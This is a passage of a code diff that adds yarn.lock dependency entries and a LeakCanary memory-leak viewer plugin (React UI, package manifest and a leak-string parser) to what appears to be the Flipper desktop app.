deep-equal@^2.0.1:
|
||||
version "2.0.1"
|
||||
resolved "https://registry.yarnpkg.com/deep-equal/-/deep-equal-2.0.1.tgz#fc12bbd6850e93212f21344748682ccc5a8813cf"
|
||||
integrity sha512-7Et6r6XfNW61CPPCIYfm1YPGSmh6+CliYeL4km7GWJcpX5LTAflGF8drLLR+MZX+2P3NZfAfSduutBbSWqER4g==
|
||||
dependencies:
|
||||
es-abstract "^1.16.3"
|
||||
es-get-iterator "^1.0.1"
|
||||
is-arguments "^1.0.4"
|
||||
is-date-object "^1.0.1"
|
||||
is-regex "^1.0.4"
|
||||
isarray "^2.0.5"
|
||||
object-is "^1.0.1"
|
||||
object-keys "^1.1.1"
|
||||
regexp.prototype.flags "^1.2.0"
|
||||
side-channel "^1.0.1"
|
||||
which-boxed-primitive "^1.0.1"
|
||||
which-collection "^1.0.0"
|
||||
|
||||
define-properties@^1.1.2, define-properties@^1.1.3:
|
||||
version "1.1.3"
|
||||
resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.1.3.tgz#cf88da6cbee26fe6db7094f61d870cbd84cee9f1"
|
||||
integrity sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==
|
||||
dependencies:
|
||||
object-keys "^1.0.12"
|
||||
|
||||
es-abstract@^1.16.2, es-abstract@^1.16.3:
|
||||
version "1.16.3"
|
||||
resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.16.3.tgz#52490d978f96ff9f89ec15b5cf244304a5bca161"
|
||||
integrity sha512-WtY7Fx5LiOnSYgF5eg/1T+GONaGmpvpPdCpSnYij+U2gDTL0UPfWrhDw7b2IYb+9NQJsYpCA0wOQvZfsd6YwRw==
|
||||
dependencies:
|
||||
es-to-primitive "^1.2.1"
|
||||
function-bind "^1.1.1"
|
||||
has "^1.0.3"
|
||||
has-symbols "^1.0.1"
|
||||
is-callable "^1.1.4"
|
||||
is-regex "^1.0.4"
|
||||
object-inspect "^1.7.0"
|
||||
object-keys "^1.1.1"
|
||||
string.prototype.trimleft "^2.1.0"
|
||||
string.prototype.trimright "^2.1.0"
|
||||
|
||||
es-abstract@^1.17.0-next.1:
|
||||
version "1.17.0-next.1"
|
||||
resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.17.0-next.1.tgz#94acc93e20b05a6e96dacb5ab2f1cb3a81fc2172"
|
||||
integrity sha512-7MmGr03N7Rnuid6+wyhD9sHNE2n4tFSwExnU2lQl3lIo2ShXWGePY80zYaoMOmILWv57H0amMjZGHNzzGG70Rw==
|
||||
dependencies:
|
||||
es-to-primitive "^1.2.1"
|
||||
function-bind "^1.1.1"
|
||||
has "^1.0.3"
|
||||
has-symbols "^1.0.1"
|
||||
is-callable "^1.1.4"
|
||||
is-regex "^1.0.4"
|
||||
object-inspect "^1.7.0"
|
||||
object-keys "^1.1.1"
|
||||
object.assign "^4.1.0"
|
||||
string.prototype.trimleft "^2.1.0"
|
||||
string.prototype.trimright "^2.1.0"
|
||||
|
||||
es-get-iterator@^1.0.1:
|
||||
version "1.0.2"
|
||||
resolved "https://registry.yarnpkg.com/es-get-iterator/-/es-get-iterator-1.0.2.tgz#bc99065aa8c98ce52bc86ab282dedbba4120e0b3"
|
||||
integrity sha512-ZHb4fuNK3HKHEOvDGyHPKf5cSWh/OvAMskeM/+21NMnTuvqFvz8uHatolu+7Kf6b6oK9C+3Uo1T37pSGPWv0MA==
|
||||
dependencies:
|
||||
es-abstract "^1.17.0-next.1"
|
||||
has-symbols "^1.0.1"
|
||||
is-arguments "^1.0.4"
|
||||
is-map "^2.0.0"
|
||||
is-set "^2.0.0"
|
||||
is-string "^1.0.4"
|
||||
isarray "^2.0.5"
|
||||
|
||||
es-to-primitive@^1.2.1:
|
||||
version "1.2.1"
|
||||
resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.2.1.tgz#e55cd4c9cdc188bcefb03b366c736323fc5c898a"
|
||||
integrity sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==
|
||||
dependencies:
|
||||
is-callable "^1.1.4"
|
||||
is-date-object "^1.0.1"
|
||||
is-symbol "^1.0.2"
|
||||
|
||||
function-bind@^1.1.1:
|
||||
version "1.1.1"
|
||||
resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.1.tgz#a56899d3ea3c9bab874bb9773b7c5ede92f4895d"
|
||||
integrity sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==
|
||||
|
||||
has-symbols@^1.0.0, has-symbols@^1.0.1:
|
||||
version "1.0.1"
|
||||
resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.1.tgz#9f5214758a44196c406d9bd76cebf81ec2dd31e8"
|
||||
integrity sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg==
|
||||
|
||||
has@^1.0.3:
|
||||
version "1.0.3"
|
||||
resolved "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796"
|
||||
integrity sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==
|
||||
dependencies:
|
||||
function-bind "^1.1.1"
|
||||
|
||||
is-arguments@^1.0.4:
|
||||
version "1.0.4"
|
||||
resolved "https://registry.yarnpkg.com/is-arguments/-/is-arguments-1.0.4.tgz#3faf966c7cba0ff437fb31f6250082fcf0448cf3"
|
||||
integrity sha512-xPh0Rmt8NE65sNzvyUmWgI1tz3mKq74lGA0mL8LYZcoIzKOzDh6HmrYm3d18k60nHerC8A9Km8kYu87zfSFnLA==
|
||||
|
||||
is-bigint@^1.0.0:
|
||||
version "1.0.0"
|
||||
resolved "https://registry.yarnpkg.com/is-bigint/-/is-bigint-1.0.0.tgz#73da8c33208d00f130e9b5e15d23eac9215601c4"
|
||||
integrity sha512-t5mGUXC/xRheCK431ylNiSkGGpBp8bHENBcENTkDT6ppwPzEVxNGZRvgvmOEfbWkFhA7D2GEuE2mmQTr78sl2g==
|
||||
|
||||
is-boolean-object@^1.0.0:
|
||||
version "1.0.0"
|
||||
resolved "https://registry.yarnpkg.com/is-boolean-object/-/is-boolean-object-1.0.0.tgz#98f8b28030684219a95f375cfbd88ce3405dff93"
|
||||
integrity sha1-mPiygDBoQhmpXzdc+9iM40Bd/5M=
|
||||
|
||||
is-callable@^1.1.4:
|
||||
version "1.1.4"
|
||||
resolved "https://registry.yarnpkg.com/is-callable/-/is-callable-1.1.4.tgz#1e1adf219e1eeb684d691f9d6a05ff0d30a24d75"
|
||||
integrity sha512-r5p9sxJjYnArLjObpjA4xu5EKI3CuKHkJXMhT7kwbpUyIFD1n5PMAsoPvWnvtZiNz7LjkYDRZhd7FlI0eMijEA==
|
||||
|
||||
is-date-object@^1.0.1:
|
||||
version "1.0.1"
|
||||
resolved "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.0.1.tgz#9aa20eb6aeebbff77fbd33e74ca01b33581d3a16"
|
||||
integrity sha1-mqIOtq7rv/d/vTPnTKAbM1gdOhY=
|
||||
|
||||
is-map@^2.0.0:
|
||||
version "2.0.1"
|
||||
resolved "https://registry.yarnpkg.com/is-map/-/is-map-2.0.1.tgz#520dafc4307bb8ebc33b813de5ce7c9400d644a1"
|
||||
integrity sha512-T/S49scO8plUiAOA2DBTBG3JHpn1yiw0kRp6dgiZ0v2/6twi5eiB0rHtHFH9ZIrvlWc6+4O+m4zg5+Z833aXgw==
|
||||
|
||||
is-number-object@^1.0.3:
|
||||
version "1.0.3"
|
||||
resolved "https://registry.yarnpkg.com/is-number-object/-/is-number-object-1.0.3.tgz#f265ab89a9f445034ef6aff15a8f00b00f551799"
|
||||
integrity sha1-8mWrian0RQNO9q/xWo8AsA9VF5k=
|
||||
|
||||
is-regex@^1.0.4:
|
||||
version "1.0.5"
|
||||
resolved "https://registry.yarnpkg.com/is-regex/-/is-regex-1.0.5.tgz#39d589a358bf18967f726967120b8fc1aed74eae"
|
||||
integrity sha512-vlKW17SNq44owv5AQR3Cq0bQPEb8+kF3UKZ2fiZNOWtztYE5i0CzCZxFDwO58qAOWtxdBRVO/V5Qin1wjCqFYQ==
|
||||
dependencies:
|
||||
has "^1.0.3"
|
||||
|
||||
is-set@^2.0.0:
|
||||
version "2.0.1"
|
||||
resolved "https://registry.yarnpkg.com/is-set/-/is-set-2.0.1.tgz#d1604afdab1724986d30091575f54945da7e5f43"
|
||||
integrity sha512-eJEzOtVyenDs1TMzSQ3kU3K+E0GUS9sno+F0OBT97xsgcJsF9nXMBtkT9/kut5JEpM7oL7X/0qxR17K3mcwIAA==
|
||||
|
||||
is-string@^1.0.4:
|
||||
version "1.0.4"
|
||||
resolved "https://registry.yarnpkg.com/is-string/-/is-string-1.0.4.tgz#cc3a9b69857d621e963725a24caeec873b826e64"
|
||||
integrity sha1-zDqbaYV9Yh6WNyWiTK7shzuCbmQ=
|
||||
|
||||
is-symbol@^1.0.2:
|
||||
version "1.0.3"
|
||||
resolved "https://registry.yarnpkg.com/is-symbol/-/is-symbol-1.0.3.tgz#38e1014b9e6329be0de9d24a414fd7441ec61937"
|
||||
integrity sha512-OwijhaRSgqvhm/0ZdAcXNZt9lYdKFpcRDT5ULUuYXPoT794UNOdU+gpT6Rzo7b4V2HUl/op6GqY894AZwv9faQ==
|
||||
dependencies:
|
||||
has-symbols "^1.0.1"
|
||||
|
||||
is-weakmap@^2.0.0:
|
||||
version "2.0.1"
|
||||
resolved "https://registry.yarnpkg.com/is-weakmap/-/is-weakmap-2.0.1.tgz#5008b59bdc43b698201d18f62b37b2ca243e8cf2"
|
||||
integrity sha512-NSBR4kH5oVj1Uwvv970ruUkCV7O1mzgVFO4/rev2cLRda9Tm9HrL70ZPut4rOHgY0FNrUu9BCbXA2sdQ+x0chA==
|
||||
|
||||
is-weakset@^2.0.0:
|
||||
version "2.0.1"
|
||||
resolved "https://registry.yarnpkg.com/is-weakset/-/is-weakset-2.0.1.tgz#e9a0af88dbd751589f5e50d80f4c98b780884f83"
|
||||
integrity sha512-pi4vhbhVHGLxohUw7PhGsueT4vRGFoXhP7+RGN0jKIv9+8PWYCQTqtADngrxOm2g46hoH0+g8uZZBzMrvVGDmw==
|
||||
|
||||
isarray@^2.0.5:
|
||||
version "2.0.5"
|
||||
resolved "https://registry.yarnpkg.com/isarray/-/isarray-2.0.5.tgz#8af1e4c1221244cc62459faf38940d4e644a5723"
|
||||
integrity sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==
|
||||
|
||||
lodash.clonedeep@^4.5.0:
|
||||
version "4.5.0"
|
||||
resolved "https://registry.yarnpkg.com/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz#e23f3f9c4f8fbdde872529c1071857a086e5ccef"
|
||||
integrity sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8=
|
||||
|
||||
lodash.debounce@^4.0.8:
|
||||
version "4.0.8"
|
||||
resolved "https://registry.yarnpkg.com/lodash.debounce/-/lodash.debounce-4.0.8.tgz#82d79bff30a67c4005ffd5e2515300ad9ca4d7af"
|
||||
integrity sha1-gteb/zCmfEAF/9XiUVMArZyk168=
|
||||
|
||||
lodash@^4.17.15:
|
||||
version "4.17.15"
|
||||
resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.15.tgz#b447f6670a0455bbfeedd11392eff330ea097548"
|
||||
integrity sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==
|
||||
|
||||
object-inspect@^1.7.0:
|
||||
version "1.7.0"
|
||||
resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.7.0.tgz#f4f6bd181ad77f006b5ece60bd0b6f398ff74a67"
|
||||
integrity sha512-a7pEHdh1xKIAgTySUGgLMx/xwDZskN1Ud6egYYN3EdRW4ZMPNEDUTF+hwy2LUC+Bl+SyLXANnwz/jyh/qutKUw==
|
||||
|
||||
object-is@^1.0.1:
|
||||
version "1.0.2"
|
||||
resolved "https://registry.yarnpkg.com/object-is/-/object-is-1.0.2.tgz#6b80eb84fe451498f65007982f035a5b445edec4"
|
||||
integrity sha512-Epah+btZd5wrrfjkJZq1AOB9O6OxUQto45hzFd7lXGrpHPGE0W1k+426yrZV+k6NJOzLNNW/nVsmZdIWsAqoOQ==
|
||||
|
||||
object-keys@^1.0.11, object-keys@^1.0.12, object-keys@^1.1.1:
|
||||
version "1.1.1"
|
||||
resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e"
|
||||
integrity sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==
|
||||
|
||||
object.assign@^4.1.0:
|
||||
version "4.1.0"
|
||||
resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.0.tgz#968bf1100d7956bb3ca086f006f846b3bc4008da"
|
||||
integrity sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==
|
||||
dependencies:
|
||||
define-properties "^1.1.2"
|
||||
function-bind "^1.1.1"
|
||||
has-symbols "^1.0.0"
|
||||
object-keys "^1.0.11"
|
||||
|
||||
regexp.prototype.flags@^1.2.0:
|
||||
version "1.3.0"
|
||||
resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.3.0.tgz#7aba89b3c13a64509dabcf3ca8d9fbb9bdf5cb75"
|
||||
integrity sha512-2+Q0C5g951OlYlJz6yu5/M33IcsESLlLfsyIaLJaG4FA2r4yP8MvVMJUUP/fVBkSpbbbZlS5gynbEWLipiiXiQ==
|
||||
dependencies:
|
||||
define-properties "^1.1.3"
|
||||
es-abstract "^1.17.0-next.1"
|
||||
|
||||
side-channel@^1.0.1:
|
||||
version "1.0.1"
|
||||
resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.1.tgz#4fb6c60e13bf4a69baf1b219c50b7feb87cf5c30"
|
||||
integrity sha512-KhfWUIMFxTnJ1HTWiHhzPZL6CVZubPUFWcaIWY4Fc/551CazpDodWWTVTeJI8AjsC/JpH4fW6hmDa10Dnd4lRg==
|
||||
dependencies:
|
||||
es-abstract "^1.16.2"
|
||||
object-inspect "^1.7.0"
|
||||
|
||||
string.prototype.trimleft@^2.1.0:
|
||||
version "2.1.0"
|
||||
resolved "https://registry.yarnpkg.com/string.prototype.trimleft/-/string.prototype.trimleft-2.1.0.tgz#6cc47f0d7eb8d62b0f3701611715a3954591d634"
|
||||
integrity sha512-FJ6b7EgdKxxbDxc79cOlok6Afd++TTs5szo+zJTUyow3ycrRfJVE2pq3vcN53XexvKZu/DJMDfeI/qMiZTrjTw==
|
||||
dependencies:
|
||||
define-properties "^1.1.3"
|
||||
function-bind "^1.1.1"
|
||||
|
||||
string.prototype.trimright@^2.1.0:
|
||||
version "2.1.0"
|
||||
resolved "https://registry.yarnpkg.com/string.prototype.trimright/-/string.prototype.trimright-2.1.0.tgz#669d164be9df9b6f7559fa8e89945b168a5a6c58"
|
||||
integrity sha512-fXZTSV55dNBwv16uw+hh5jkghxSnc5oHq+5K/gXgizHwAvMetdAJlHqqoFC1FSDVPYWLkAKl2cxpUT41sV7nSg==
|
||||
dependencies:
|
||||
define-properties "^1.1.3"
|
||||
function-bind "^1.1.1"
|
||||
|
||||
which-boxed-primitive@^1.0.1:
|
||||
version "1.0.1"
|
||||
resolved "https://registry.yarnpkg.com/which-boxed-primitive/-/which-boxed-primitive-1.0.1.tgz#cbe8f838ebe91ba2471bb69e9edbda67ab5a5ec1"
|
||||
integrity sha512-7BT4TwISdDGBgaemWU0N0OU7FeAEJ9Oo2P1PHRm/FCWoEi2VLWC9b6xvxAA3C/NMpxg3HXVgi0sMmGbNUbNepQ==
|
||||
dependencies:
|
||||
is-bigint "^1.0.0"
|
||||
is-boolean-object "^1.0.0"
|
||||
is-number-object "^1.0.3"
|
||||
is-string "^1.0.4"
|
||||
is-symbol "^1.0.2"
|
||||
|
||||
which-collection@^1.0.0:
|
||||
version "1.0.0"
|
||||
resolved "https://registry.yarnpkg.com/which-collection/-/which-collection-1.0.0.tgz#303d38022473f4b7048b529b45f6c842d8814269"
|
||||
integrity sha512-mG4RtFHE+17N2AxRNvBQ488oBjrhaOaI/G+soUaRJwdyDbu5zmqoAKPYBlY7Zd+QTwpfvInRLKo40feo2si1yA==
|
||||
dependencies:
|
||||
is-map "^2.0.0"
|
||||
is-set "^2.0.0"
|
||||
is-weakmap "^2.0.0"
|
||||
is-weakset "^2.0.0"
|
||||
232
desktop/plugins/leak_canary/index.tsx
Normal file
232
desktop/plugins/leak_canary/index.tsx
Normal file
@@ -0,0 +1,232 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import React from 'react';
|
||||
import {
|
||||
Panel,
|
||||
FlexRow,
|
||||
ElementsInspector,
|
||||
FlexColumn,
|
||||
ManagedDataInspector,
|
||||
Sidebar,
|
||||
Toolbar,
|
||||
Checkbox,
|
||||
FlipperPlugin,
|
||||
Button,
|
||||
styled,
|
||||
} from 'flipper';
|
||||
import {Element} from 'flipper';
|
||||
import {processLeaks} from './processLeakString';
|
||||
|
||||
type State = {
|
||||
leaks: Leak[];
|
||||
selectedIdx: number | null;
|
||||
selectedEid: string | null;
|
||||
showFullClassPaths: boolean;
|
||||
leaksCount: number;
|
||||
};
|
||||
|
||||
type LeakReport = {
|
||||
leaks: string[];
|
||||
};
|
||||
|
||||
export type Fields = {[key: string]: string};
|
||||
export type Leak = {
|
||||
title: string;
|
||||
root: string;
|
||||
elements: {[key: string]: Element};
|
||||
elementsSimple: {[key: string]: Element};
|
||||
instanceFields: {[key: string]: Fields};
|
||||
staticFields: {[key: string]: Fields};
|
||||
retainedSize: string;
|
||||
};
|
||||
|
||||
const Window = styled(FlexRow)({
|
||||
height: '100%',
|
||||
flex: 1,
|
||||
});
|
||||
|
||||
const ToolbarItem = styled(FlexRow)({
|
||||
alignItems: 'center',
|
||||
marginLeft: '8px',
|
||||
});
|
||||
|
||||
export default class LeakCanary<PersistedState> extends FlipperPlugin<
|
||||
State,
|
||||
{type: 'LeakCanary'},
|
||||
PersistedState
|
||||
> {
|
||||
state: State = {
|
||||
leaks: [],
|
||||
selectedIdx: null,
|
||||
selectedEid: null,
|
||||
showFullClassPaths: false,
|
||||
leaksCount: 0,
|
||||
};
|
||||
|
||||
init() {
|
||||
this.client.subscribe('reportLeak', (results: LeakReport) => {
|
||||
// We only process new leaks instead of replacing the whole list in order
|
||||
// to both avoid redundant processing and to preserve the expanded/
|
||||
// collapsed state of the tree view
|
||||
const newLeaks = processLeaks(results.leaks.slice(this.state.leaksCount));
|
||||
|
||||
const leaks = this.state.leaks;
|
||||
for (let i = 0; i < newLeaks.length; i++) {
|
||||
leaks.push(newLeaks[i]);
|
||||
}
|
||||
|
||||
this.setState({
|
||||
leaks: leaks,
|
||||
leaksCount: results.leaks.length,
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
_clearLeaks = () => {
|
||||
this.setState({
|
||||
leaks: [],
|
||||
leaksCount: 0,
|
||||
selectedIdx: null,
|
||||
selectedEid: null,
|
||||
});
|
||||
this.client.call('clear');
|
||||
};
|
||||
|
||||
_selectElement = (leakIdx: number, eid: string) => {
|
||||
this.setState({
|
||||
selectedIdx: leakIdx,
|
||||
selectedEid: eid,
|
||||
});
|
||||
};
|
||||
|
||||
_toggleElement = (leakIdx: number, eid: string) => {
|
||||
const {leaks} = this.state;
|
||||
const leak = leaks[leakIdx];
|
||||
|
||||
const element = leak.elements[eid];
|
||||
const elementSimple = leak.elementsSimple[eid];
|
||||
if (!element || !elementSimple) {
|
||||
return;
|
||||
}
|
||||
element.expanded = !element.expanded;
|
||||
elementSimple.expanded = !elementSimple.expanded;
|
||||
|
||||
this.setState({
|
||||
leaks: leaks,
|
||||
});
|
||||
};
|
||||
|
||||
/**
|
||||
* Given a specific string value, determines what DataInspector type to treat
|
||||
* it as. Ensures that numbers, bools, etc render correctly.
|
||||
*/
|
||||
_extractValue(
|
||||
value: any,
|
||||
_: number, // depth
|
||||
): {mutable: boolean; type: string; value: any} {
|
||||
if (!isNaN(value)) {
|
||||
return {mutable: false, type: 'number', value: value};
|
||||
} else if (value == 'true' || value == 'false') {
|
||||
return {mutable: false, type: 'boolean', value: value};
|
||||
} else if (value == 'null') {
|
||||
return {mutable: false, type: 'null', value: value};
|
||||
}
|
||||
return {mutable: false, type: 'enum', value: value};
|
||||
}
|
||||
|
||||
renderSidebar() {
|
||||
const {selectedIdx, selectedEid, leaks} = this.state;
|
||||
|
||||
if (selectedIdx == null || selectedEid == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const leak = leaks[selectedIdx];
|
||||
const staticFields = leak.staticFields[selectedEid];
|
||||
const instanceFields = leak.instanceFields[selectedEid];
|
||||
|
||||
return (
|
||||
<Sidebar position="right" width={600} minWidth={300} maxWidth={900}>
|
||||
<Panel heading={'Instance'} floating={false} grow={false}>
|
||||
<ManagedDataInspector
|
||||
data={instanceFields}
|
||||
expandRoot={true}
|
||||
extractValue={this._extractValue}
|
||||
/>
|
||||
</Panel>
|
||||
<Panel heading={'Static'} floating={false} grow={false}>
|
||||
<ManagedDataInspector
|
||||
data={staticFields}
|
||||
expandRoot={true}
|
||||
extractValue={this._extractValue}
|
||||
/>
|
||||
</Panel>
|
||||
</Sidebar>
|
||||
);
|
||||
}
|
||||
|
||||
render() {
|
||||
const {selectedIdx, selectedEid, showFullClassPaths} = this.state;
|
||||
const sidebar = this.renderSidebar();
|
||||
|
||||
return (
|
||||
<Window>
|
||||
<FlexColumn grow={true}>
|
||||
<FlexColumn grow={true} scrollable={true}>
|
||||
{this.state.leaks.map((leak: Leak, idx: number) => {
|
||||
const elements = showFullClassPaths
|
||||
? leak.elements
|
||||
: leak.elementsSimple;
|
||||
const selected = selectedIdx == idx ? selectedEid : null;
|
||||
return (
|
||||
<Panel
|
||||
collapsable={false}
|
||||
padded={false}
|
||||
heading={leak.title}
|
||||
floating={false}
|
||||
accessory={leak.retainedSize}>
|
||||
<ElementsInspector
|
||||
onElementSelected={eid => {
|
||||
this._selectElement(idx, eid);
|
||||
}}
|
||||
onElementHovered={() => {}}
|
||||
onElementExpanded={(eid /*, deep*/) => {
|
||||
this._toggleElement(idx, eid);
|
||||
}}
|
||||
onValueChanged={() => {}}
|
||||
selected={selected}
|
||||
searchResults={null}
|
||||
root={leak.root}
|
||||
elements={elements}
|
||||
/>
|
||||
</Panel>
|
||||
);
|
||||
})}
|
||||
</FlexColumn>
|
||||
<Toolbar>
|
||||
<ToolbarItem>
|
||||
<Button onClick={this._clearLeaks}>Clear</Button>
|
||||
</ToolbarItem>
|
||||
<ToolbarItem>
|
||||
<Checkbox
|
||||
checked={showFullClassPaths}
|
||||
onChange={(checked: boolean) => {
|
||||
this.setState({showFullClassPaths: checked});
|
||||
}}
|
||||
/>
|
||||
Show full class path
|
||||
</ToolbarItem>
|
||||
</Toolbar>
|
||||
</FlexColumn>
|
||||
{sidebar}
|
||||
</Window>
|
||||
);
|
||||
}
|
||||
}
|
||||
16
desktop/plugins/leak_canary/package.json
Normal file
16
desktop/plugins/leak_canary/package.json
Normal file
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"name": "LeakCanary",
|
||||
"version": "1.0.0",
|
||||
"main": "index.tsx",
|
||||
"license": "MIT",
|
||||
"keywords": [
|
||||
"flipper-plugin"
|
||||
],
|
||||
"dependencies": {},
|
||||
"devDependencies": {},
|
||||
"icon": "bird",
|
||||
"title": "LeakCanary",
|
||||
"bugs": {
|
||||
"email": "jhli@fb.com"
|
||||
}
|
||||
}
|
||||
263
desktop/plugins/leak_canary/processLeakString.tsx
Normal file
263
desktop/plugins/leak_canary/processLeakString.tsx
Normal file
@@ -0,0 +1,263 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
* @flow
|
||||
*/
|
||||
|
||||
import {Leak} from './index';
|
||||
import {Element} from 'flipper';
|
||||
|
||||
/**
|
||||
* Utility Function to add a child element
|
||||
* @param childElementId
|
||||
* @param elementId
|
||||
* @param elements
|
||||
*/
|
||||
function safeAddChildElementId(
|
||||
childElementId: string,
|
||||
elementId: string,
|
||||
elements: Map<string, Element>,
|
||||
) {
|
||||
const element = elements.get(elementId);
|
||||
if (element && element.children) {
|
||||
element.children.push(childElementId);
|
||||
}
|
||||
}
|
||||
|
||||
function toObjectMap(
|
||||
dict: Map<any, any>,
|
||||
deep: boolean = false,
|
||||
): {[key: string]: any} {
|
||||
const result: {[key: string]: any} = {};
|
||||
for (let [key, value] of dict.entries()) {
|
||||
if (deep && value instanceof Map) {
|
||||
value = toObjectMap(value, true);
|
||||
}
|
||||
result[String(key)] = value;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Creates an Element (for ElementsInspector) representing a single Object in
|
||||
* the path to GC root view.
|
||||
*/
|
||||
function getElementSimple(str: string, id: string): Element {
|
||||
// Below regex can handle both older and newer versions of LeakCanary
|
||||
const match = str.match(
|
||||
/\* (GC ROOT )?(\u21B3 )?([a-z]* )?([^A-Z]*.)?([A-Z].*)/,
|
||||
);
|
||||
let name = 'N/A';
|
||||
if (match) {
|
||||
name = match[5];
|
||||
}
|
||||
return {
|
||||
id,
|
||||
name,
|
||||
expanded: true,
|
||||
children: [],
|
||||
attributes: [],
|
||||
data: {},
|
||||
decoration: '',
|
||||
extraInfo: {},
|
||||
};
|
||||
}
|
||||
|
||||
// Line marking the start of Details section
|
||||
const BEGIN_DETAILS_SECTION_INDICATOR = '* Details:';
|
||||
// Line following the end of the Details section
|
||||
const END_DETAILS_SECTION_INDICATOR = '* Excluded Refs:';
|
||||
const STATIC_PREFIX = 'static ';
|
||||
// Text that begins the line of the Object at GC root
|
||||
const LEAK_BEGIN_INDICATOR = 'has leaked:';
|
||||
const RETAINED_SIZE_INDICATOR = '* Retaining: ';
|
||||
|
||||
/**
|
||||
* Parses the lines given (at the given index) to extract information about both
|
||||
* static and instance fields of each class in the path to GC root. Returns three
|
||||
* objects, each one mapping the element ID of a specific element to the
|
||||
* corresponding static fields, instance fields, or package name of the class
|
||||
*/
|
||||
function generateFieldsList(
|
||||
lines: string[],
|
||||
i: number,
|
||||
): {
|
||||
staticFields: Map<string, Map<string, string>>;
|
||||
instanceFields: Map<string, Map<string, string>>;
|
||||
packages: Map<string, string>;
|
||||
} {
|
||||
const staticFields = new Map<string, Map<string, string>>();
|
||||
const instanceFields = new Map<string, Map<string, string>>();
|
||||
|
||||
let staticValues = new Map<string, string>();
|
||||
let instanceValues = new Map<string, string>();
|
||||
|
||||
let elementId = -1;
|
||||
let elementIdStr = '';
|
||||
|
||||
const packages = new Map<string, any>();
|
||||
|
||||
// Process everything between Details and Excluded Refs
|
||||
while (
|
||||
i < lines.length &&
|
||||
!lines[i].startsWith(END_DETAILS_SECTION_INDICATOR)
|
||||
) {
|
||||
const line = lines[i];
|
||||
if (line.startsWith('*')) {
|
||||
if (elementId != -1) {
|
||||
staticFields.set(elementIdStr, staticValues);
|
||||
instanceFields.set(elementIdStr, instanceValues);
|
||||
staticValues = new Map<string, string>();
|
||||
instanceValues = new Map<string, string>();
|
||||
}
|
||||
elementId++;
|
||||
elementIdStr = String(elementId);
|
||||
|
||||
// Extract package for each class
|
||||
let pkg = 'unknown';
|
||||
const match = line.match(/\* (.*)(of|Class) (.*)/);
|
||||
if (match) {
|
||||
pkg = match[3];
|
||||
}
|
||||
packages.set(elementIdStr, pkg);
|
||||
} else {
|
||||
// Field/value pairs represented in input lines as
|
||||
// | fieldName = value
|
||||
const match = line.match(/\|\s+(.*) = (.*)/);
|
||||
if (match) {
|
||||
const fieldName = match[1];
|
||||
const fieldValue = match[2];
|
||||
|
||||
if (fieldName.startsWith(STATIC_PREFIX)) {
|
||||
const strippedFieldName = fieldName.substr(7);
|
||||
staticValues.set(strippedFieldName, fieldValue);
|
||||
} else {
|
||||
instanceValues.set(fieldName, fieldValue);
|
||||
}
|
||||
}
|
||||
}
|
||||
i++;
|
||||
}
|
||||
staticFields.set(elementIdStr, staticValues);
|
||||
instanceFields.set(elementIdStr, instanceValues);
|
||||
|
||||
return {staticFields, instanceFields, packages};
|
||||
}
|
||||
|
||||
/**
|
||||
* Processes a LeakCanary string containing data from a single leak. If the
|
||||
* string represents a valid leak, the function appends parsed data to the given
|
||||
* output list. If not, the list is returned as-is. This parsed data contains
|
||||
* the path to GC root, static/instance fields for each Object in the path, the
|
||||
* leak's retained size, and a title for the leak.
|
||||
*/
|
||||
